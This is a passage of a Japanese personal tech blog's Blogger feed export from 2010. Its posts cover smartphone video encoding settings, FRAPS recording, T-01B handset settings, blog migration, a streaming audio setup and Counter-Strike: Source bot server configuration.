width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TLW5gm8cuXI/AAAAAAAAALA/5EEvgq311_I/s1600-h/20101012045437_thumb%5B2%5D%5B20%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="20101012045437_thumb[2]" border="0" alt="20101012045437_thumb[2]" src="http://lh6.ggpht.com/_toMCQOU2NRI/TLW5hhz-O2I/AAAAAAAAALE/ieZz_I7piFk/20101012045437_thumb%5B2%5D_thumb%5B11%5D.jpg?imgmax=800" width="480" height="800"&gt;&lt;/a&gt; &lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TLW5iDnLs4I/AAAAAAAAALI/oapc2dR6hoA/s1600-h/20101012045710_thumb%5B3%5D%5B4%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="20101012045710_thumb[3]" border="0" alt="20101012045710_thumb[3]" src="http://lh6.ggpht.com/_toMCQOU2NRI/TLW5jH6cs3I/AAAAAAAAALM/o_LTboonxfo/20101012045710_thumb%5B3%5D_thumb%5B2%5D.jpg?imgmax=800" width="480" height="800"&gt;&lt;/a&gt; &lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TLW5jqIfxnI/AAAAAAAAALQ/G19oGnfVi5U/s1600-h/20101012045832_thumb%5B8%5D%5B4%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="20101012045832_thumb[8]" border="0" alt="20101012045832_thumb[8]" src="http://lh3.ggpht.com/_toMCQOU2NRI/TLW5kuFHCfI/AAAAAAAAALU/xrme4sbHbPE/20101012045832_thumb%5B8%5D_thumb%5B2%5D.jpg?imgmax=800" width="480" height="800"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まぁこんなにビットレートあげても仕方ないので以下の設定をおすすめします。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;映像&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;コーデック:DivX5&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;解像度:640*360(横幅を640に合わせて比率を維持)&lt;/p&gt; &lt;p&gt;レート:5Mbps&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;音声&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;コーデック:MP3&lt;/p&gt; &lt;p&gt;周波数:44.1KHz&lt;/p&gt; &lt;p&gt;チャンネル:2（Stereo）&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;レート:128Kbps&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8533936880462565915?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8533936880462565915/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8533936880462565915&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8533936880462565915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8533936880462565915'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/windows-mobilesnapdragon.html' title='Windows Mobile端末でSnapDragonの実力を検証'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_toMCQOU2NRI/TLct7YPsbNI/AAAAAAAAALc/o2anEO-Ei_o/s72-c/videoff8e93b7c2cd%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8603588342040189034</id><published>2010-10-11T23:59:00.001+09:00</published><updated>2010-10-12T00:09:28.048+09:00</updated><title type='text'>壁紙を描いた</title><content type='html'>&lt;p&gt;そろそろネタ切れ？っていう感じなので、壁紙でも描いて間を持たせますん。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;保存してあるサイズは800*800のスマートフォン用の壁紙です。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TLMmMgaBD8I/AAAAAAAAAIg/sx6vHLqENUA/s1600-h/wallpaper%5B9%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="wallpaper" border="0" alt="wallpaper" src="http://lh5.ggpht.com/_toMCQOU2NRI/TLMmNpELPXI/AAAAAAAAAIk/BZZ9UW0eGiw/wallpaper_thumb%5B7%5D.jpg?imgmax=800" width="512" height="512"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt; 六角形にぼかしかけるの忘れてじゃぎーが酷い^^;&lt;/p&gt; &lt;p&gt;現在フォルダ構造を持つウェブストレージを作ろうとしているので、完成したらそこに元のサイズのままアップロードしようかな。&lt;/p&gt; &lt;p&gt;多分今週末に取り掛かると思う。4日間で完成するかな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8603588342040189034?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8603588342040189034/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8603588342040189034&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8603588342040189034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8603588342040189034'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/blog-post_11.html' title='壁紙を描いた'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_toMCQOU2NRI/TLMmNpELPXI/AAAAAAAAAIk/BZZ9UW0eGiw/s72-c/wallpaper_thumb%5B7%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6800877628514587337</id><published>2010-10-08T05:12:00.001+09:00</published><updated>2010-10-08T05:26:45.291+09:00</updated><title type='text'>実況プレイにはFRAPSが便利！</title><content type='html'>&lt;p&gt;いつの間にかFRAPSが便利になってますね。&lt;/p&gt; &lt;p&gt;Windows7だと結構いい機能多そう。試してないけど。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;録画に関しては、60fpsのFull-sizeなんかで録画するなら2TbyteのHDDは必須かな。&lt;/p&gt; &lt;p&gt;画面の解像度をHDとかにしてる人はHalf-sizeじゃないと容量が（ｒｙ。&lt;/p&gt; &lt;p&gt;自分は30fps half-sizeにしてます。解像度はWUXGA(1920*1200)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TK4pxr0mY8I/AAAAAAAAAIY/Fa0fYu6zGd8/s1600-h/f3-movies%5B18%5D.gif"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="f3-movies" border="0" alt="f3-movies" src="http://lh4.ggpht.com/_toMCQOU2NRI/TK4px6ECenI/AAAAAAAAAIc/vRd8gsrV3Xc/f3-movies_thumb%5B12%5D.gif?imgmax=800" width="512" height="325"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;この画像はWindows7で動作してるFRAPSの録画の設定画面。&lt;/p&gt; &lt;p&gt;これを見るにWindows7では「Record external input（外部入力を録音する）」っていう項目があるから多分Windows標準の出力＋αで録音できるんじゃないかな？&lt;/p&gt; &lt;p&gt;要するにUSBマイクを買っておいてSkypeの音声入力でそのUSBマイクを入力デバイスとして設定する。&lt;/p&gt; &lt;p&gt;FRAPSのRecord external inputに同じUSBマイクを設定する。&lt;/p&gt; &lt;p&gt;こうすれば簡単に実況プレイはできるんじゃないかな？ライブ配信となると話が別ってことになりそうだけど。&lt;/p&gt; &lt;p&gt;Lock framerateのチェックをはずしてても、録画すると強制フレーム固定が入っちゃうからFPSとか格ゲーとかコンマ1秒を争うゲームをやるには向かないかも？&lt;/p&gt; &lt;p&gt;beepa、ここまできたらミキサー機能もつけてくれよ！&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ちなみにこのブログを書いている段階でのFRAPSのバージョンは3.2.3。&lt;/p&gt; &lt;p&gt;フリーダウンロードだと30秒しか録画できないけどね。 &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;DLページ→&lt;a href="http://www.fraps.com/download.php"&gt;http://www.fraps.com/download.php&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6800877628514587337?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6800877628514587337/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6800877628514587337&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6800877628514587337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6800877628514587337'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/fraps.html' title='実況プレイにはFRAPSが便利！'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_toMCQOU2NRI/TK4px6ECenI/AAAAAAAAAIc/vRd8gsrV3Xc/s72-c/f3-movies_thumb%5B12%5D.gif?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5380825310241509840</id><published>2010-10-07T02:11:00.001+09:00</published><updated>2010-10-07T02:11:50.037+09:00</updated><title type='text'>T-01Bの設定とタッチパネルのソフトウェアアップデート</title><content type='html'>&lt;p&gt;自分の端末がアタリだったのかタッチディスプレイに不具合がなかったので全く意識してなかったけど、結構な惨状になっているらしい。&lt;/p&gt; &lt;p&gt;まぁ一応アップデートしました。&lt;/p&gt; &lt;p&gt;というわけでそのレビューと、T-01Bでやっておかないと快適に使えないっていう設定を書こうかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;入れておかないといけないソフト&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;GSFinder+（WindowsMobile6.5.3のUIに対応したそうです。）&lt;/p&gt; &lt;p&gt;Wktask(タスクマネージャ)&lt;/p&gt; &lt;p&gt;Opera Mobile 10 &amp;amp; Opera10Taskbar&lt;/p&gt; &lt;p&gt;PocketHand2&lt;/p&gt; &lt;p&gt;Notepad&lt;/p&gt; &lt;p&gt;二次の素 + QuickMark（QRコード発行＆リーダー）&lt;/p&gt; &lt;p&gt;MeiryoK(フォント。インストーラがどっかに落ちてる。なかったらアップするかも。)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;フォントのインストールは初期フォントがあまりに見にくくてゲロ吐きそうっていう人だけでいいかな。&lt;/p&gt; &lt;p&gt;フォントがどんなのかは最後にSS張ります。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;次は設定。設定は必須のところだけ書いていきます。&lt;/p&gt; &lt;p&gt;スタート→明るさ・省電力設定　の設定内容&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;エコモード : オフ&lt;/p&gt; &lt;p&gt;CPU速度 : 中か高（バッテリーに余裕があるなら高をおすすめ）&lt;/p&gt; &lt;p&gt;バッテリーが少ない時にパフォーマンスを下げる : オフ（バッテリーに余裕があｒ（ｒｙ）&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;PocketHand2からの設定&lt;/p&gt; &lt;p&gt;デバイス設定→メニュー→優先度&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;CPUの優先度 : アクティブアプリの優先度を高く&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;フォント設定（フォントをインストールした人だけ）&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;クリアタイプのチェックボックス二つにチェック&lt;/p&gt; &lt;p&gt;メニュー→フォントリンク、システムフォントを全部インストールしたフォントに&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;日本語入力ソフトのATOKは解除しないこと。&lt;/p&gt; &lt;p&gt;解除するとキー入力の拾いこぼしが激しくてダストボックスにFire in the Hole!ってやりたくなる。&lt;/p&gt; &lt;p&gt;設定はこれぐらい。省電力設定とCPUの処理の優先度を設定しないとけっこうカクつく。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そしてアップデートのレビュー。&lt;/p&gt; &lt;p&gt;以前に書いたT-01Bの欠点で&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;たまにスリープ状態から復活できなくなる。（真っ黒画面でスライドして戻し電源ボタンを押せば直る。）  &lt;p&gt;たまにスタートボタンが押しっぱなしにされる。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この欠点が消えている！っていうか結構深刻なバグだけどねこれ。要するに普通に使えなかったわけだし。  &lt;p&gt;&amp;nbsp; &lt;p&gt;さて、Pocketgamesから2000mAhのバッテリーが発売されました。3900mAhのバッテリーをすでに注文し、2週間が経とうとしているのにまだ連絡がありません’A`  &lt;p&gt;バッテリー少なすぎてまだ思い通りのことができてないんだよなぁ。悲しい。  &lt;p&gt;&amp;nbsp; &lt;p&gt;フォントSS&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TKytyBoZS4I/AAAAAAAAAIA/bjGDtxniv84/s1600-h/20101007020433%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="20101007020433" border="0" alt="20101007020433" src="http://lh3.ggpht.com/_toMCQOU2NRI/TKyty-NTcaI/AAAAAAAAAIE/38awPMbx_sk/20101007020433_thumb%5B1%5D.jpg?imgmax=800" width="484" height="804"&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;メモ（75%表示）&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TKytzUnnb5I/AAAAAAAAAII/MxK5Y1BoR68/s1600-h/20101007020608%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="20101007020608" border="0" alt="20101007020608" src="http://lh5.ggpht.com/_toMCQOU2NRI/TKyt0LZwAOI/AAAAAAAAAIM/TCQ5eBLKsE0/20101007020608_thumb%5B1%5D.jpg?imgmax=800" width="484" height="804"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;メモ（100%表示）&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TKyt0q2AXkI/AAAAAAAAAIQ/iWUx15mcjUE/s1600-h/20101007020624%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="20101007020624" border="0" alt="20101007020624" src="http://lh4.ggpht.com/_toMCQOU2NRI/TKyt1TDqtMI/AAAAAAAAAIU/Wj-FLiUD5Nw/20101007020624_thumb%5B1%5D.jpg?imgmax=800" width="484" height="804"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5380825310241509840?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5380825310241509840/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5380825310241509840&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5380825310241509840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5380825310241509840'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b_07.html' title='T-01Bの設定とタッチパネルのソフトウェアアップデート'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_toMCQOU2NRI/TKyty-NTcaI/AAAAAAAAAIE/38awPMbx_sk/s72-c/20101007020433_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6941937003027828752</id><published>2010-10-07T01:25:00.001+09:00</published><updated>2010-10-07T01:25:50.813+09:00</updated><title type='text'>Wordpress（旧Windows Live Space）の記事を全部Bloggerに持ってきた。</title><content type='html'>&lt;p&gt;Windows Live SpaceからWordpressに移行させられ、記事ををBloggerにインポートできるようになりました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;やり方は簡単。&lt;/p&gt; &lt;p&gt;Wordpressでエクスポートして、できたファイルを&lt;a href="http://wordpress2blogger.appspot.com/"&gt;ここ&lt;/a&gt;で変換。&lt;/p&gt; &lt;p&gt;そしてそれをBloggerでインポート。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あそうそう、Windows Live WriterのプラグインでTwitter notifyなんてのあるんだね。&lt;/p&gt; &lt;p&gt;新しく記事を投稿すると自動的についーとしてくれるよ！&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;便利すぎて鼻血吹いた。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今更だけどこれほかにも方法あったんじゃ・・・？&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6941937003027828752?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6941937003027828752/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6941937003027828752&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6941937003027828752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6941937003027828752'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/wordpresswindows-live-spaceblogger.html' title='Wordpress（旧Windows Live Space）の記事を全部Bloggerに持ってきた。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8958954698664982645</id><published>2010-10-05T01:40:00.001+09:00</published><updated>2010-10-05T01:40:52.621+09:00</updated><title type='text'>配信用の音声環境を整えた。</title><content type='html'>&lt;p&gt;って言ってもそれほど難しいことはしたくなかったので、既存の環境からできるだけ無駄なものをインストールしないでやる方法をメモ。&lt;/p&gt; &lt;p&gt;一応Skypeの通話をしながらでもちゃんとできるようにするということで。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;必要なもの&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;再生リダイレクト機能のあるサウンドチップとそのデバイスに接続するマイク&lt;/p&gt; &lt;p&gt;USBマイク*1（もしくはもうひとつのサウンドカード＋マイク）&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この二つ。自分が使っているサウンドカードは「Sound Blaster X-Fi Professional Audio」。&lt;/p&gt; &lt;p&gt;録画はFrapsで。一応配信もできるけどね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ここから設定内容。&lt;/p&gt; &lt;p&gt;Skypeの音声入力にはUSBマイクを割り当てておく。&lt;/p&gt; &lt;p&gt;Windows標準の入出力はスピーカーとかつながってるサウンドデバイスに。&lt;/p&gt; &lt;p&gt;サウンドデバイスの設定で結構な頻度で隠れている「再生」のほうのマイクを有効に。&lt;/p&gt; &lt;p&gt;そしてその設定でミュートをはずして音量を適度に調整。&lt;/p&gt; &lt;p&gt;っとまぁこれだけで標準サウンドデバイスの入力を選ぶだけでPCで出力される音とマイクの入力音が両方入りますよっと。（結構ごり押しだけどね）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;問題は配信するものがないということだ。&lt;/p&gt; &lt;p&gt;一つ前の記事に書いた内容で配信するのもいいが、うちの回線があまりにショボイためものすごいラグが。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そのうちYoutubeかニコニコにテストUPしてみる。Ustreamのアカウント取るかも。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8958954698664982645?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8958954698664982645/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8958954698664982645&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8958954698664982645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8958954698664982645'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/blog-post.html' title='配信用の音声環境を整えた。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3202734794377811776</id><published>2010-10-03T23:18:00.001+09:00</published><updated>2010-10-04T00:54:56.402+09:00</updated><title type='text'>CS:SでAVAのPrison BreakとかL4Dに近いことをしてみる。</title><content type='html'>&lt;p&gt;以前にも同じようなことをしたんだけど、サーバーの設定メモを忘れたので今更すぎるけどここに書いておく。&lt;/p&gt; &lt;p&gt;とりあえずやりたいことは「ボットの使える武器をナイフだけにする」「ボットをリスポーン可能にする」ということ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というわけで設定内容。&lt;/p&gt; &lt;p&gt;ここではDedicated Serverで動かすことを前提にします。（多分DSじゃなくても大丈夫だと思う）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;CS:S DMの導入&lt;/p&gt; &lt;p&gt;&lt;a href="http://baileylog.blogspot.com/2008/03/dm.html"&gt;ローカルDMの立て方&lt;/a&gt;からCS:S DMを導入。（ボットのリスポーンを可能にするため）&lt;/p&gt; &lt;p&gt;ここまでは簡単。できないひとは&lt;a href="http://www.jyuai.com/index.html"&gt;こちら&lt;/a&gt;へどうぞ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Botの使える武器をナイフだけにする。&lt;/p&gt; &lt;p&gt;これいろいろ試したんだけどこれが一番楽だったっていうのを紹介。&lt;/p&gt; &lt;p&gt;「cstrike\cfg\cssdm\cssdm.equip.txt」に書いてあるBotItemsの”weapon”とその武器をすべて削除。&lt;/p&gt; &lt;p&gt;俺のはこうなってる。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;"BotItems"&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "health"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "400"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "armor"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "1000"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "helmet"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "0"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "flashbangs"&amp;nbsp;&amp;nbsp;&amp;nbsp; "0"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "smokegrenade"&amp;nbsp;&amp;nbsp;&amp;nbsp; "no"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "hegrenade"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "no"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "defusekits"&amp;nbsp;&amp;nbsp;&amp;nbsp; "no"&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;そうしたら、「cstrike\cfg」に「bot.cfg」と「server.cfg」を作成。&lt;/p&gt; &lt;p&gt;ここが重要。&lt;/p&gt; &lt;p&gt;「Bot.cfg」に&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;bot_allow_grenades 0&lt;br&gt;bot_allow_pistols 0&lt;br&gt;bot_allow_sub_machine_guns 0&lt;br&gt;bot_allow_shotguns 0&lt;br&gt;bot_allow_rifles 0&lt;br&gt;bot_allow_snipers 0&lt;br&gt;bot_allow_machine_guns 0&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;を記入（ほかに設定がある人は追記おｋ）&lt;/p&gt; &lt;p&gt;で、「server.cfg」には&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;mp_autoteambalance 0&lt;br&gt;mp_limitteams 0&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この二行を追加。  &lt;p&gt;そうしたら「autoexec.cfg」に &lt;blockquote&gt; &lt;p&gt;exec bot.cfg&lt;br&gt;exec server.cfg&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;を追記。 &lt;p&gt;&amp;nbsp; &lt;p&gt;Dedicated Serverのショートカットを作る。&lt;/p&gt; &lt;p&gt;「cstrikeの上の層」にある「srcds.exe」のショートカットをデスクトップに作成。&lt;/p&gt; &lt;p&gt;それを「右クリック」して「プロパティ」を開く。&lt;/p&gt; &lt;p&gt;「ショートカット」タブからリンク先の””でくくられてる「外」に「 -game cstrike」を追記。（半角スペースあるからね）&lt;/p&gt; &lt;p&gt;これで適応してOK&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あ、CS:S 